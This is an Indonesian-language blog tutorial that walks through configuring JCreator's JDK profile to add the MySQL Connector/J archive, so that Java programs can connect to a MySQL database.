NB : untuk mengkoneksikan java dengan mysql,

kita perlu menyetting pada JCreator–>applikasi untuk membuat java file.

jcreator.gif

Selain itu kita juga harus memiliki file mysql-connector-java-3.1.6-bin—-> file inilah yang digunakan sebagai connector.

Langkah-langkahnya seperti gambar di bawah ini :

Pertama : pilih tab Configure, pilih Options

java_option.gif

Langkah kedua : pilih JDK Profiles, jika belum ada klik New, dan cari folder j2sdk1.41 pada drive dimana anda menginstalnya.

option.gif

Langkah ketiga : pilih add archive —-> tempat dimana file mysql-connector-java-3.1.6-bin berada.

option2.gif

Langkah keempat : memasukkan file mysql-connector-java-3.1.6-bin, setelah itu klik Ok, Apply.

option3.gif

Nah, sekarang anda dapat mengkoneksikan java dengan database mysql. Selamat mencoba…
Read More … Meng-koneksikan Java dengan MySQL menggunakan JDBC
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

i-teko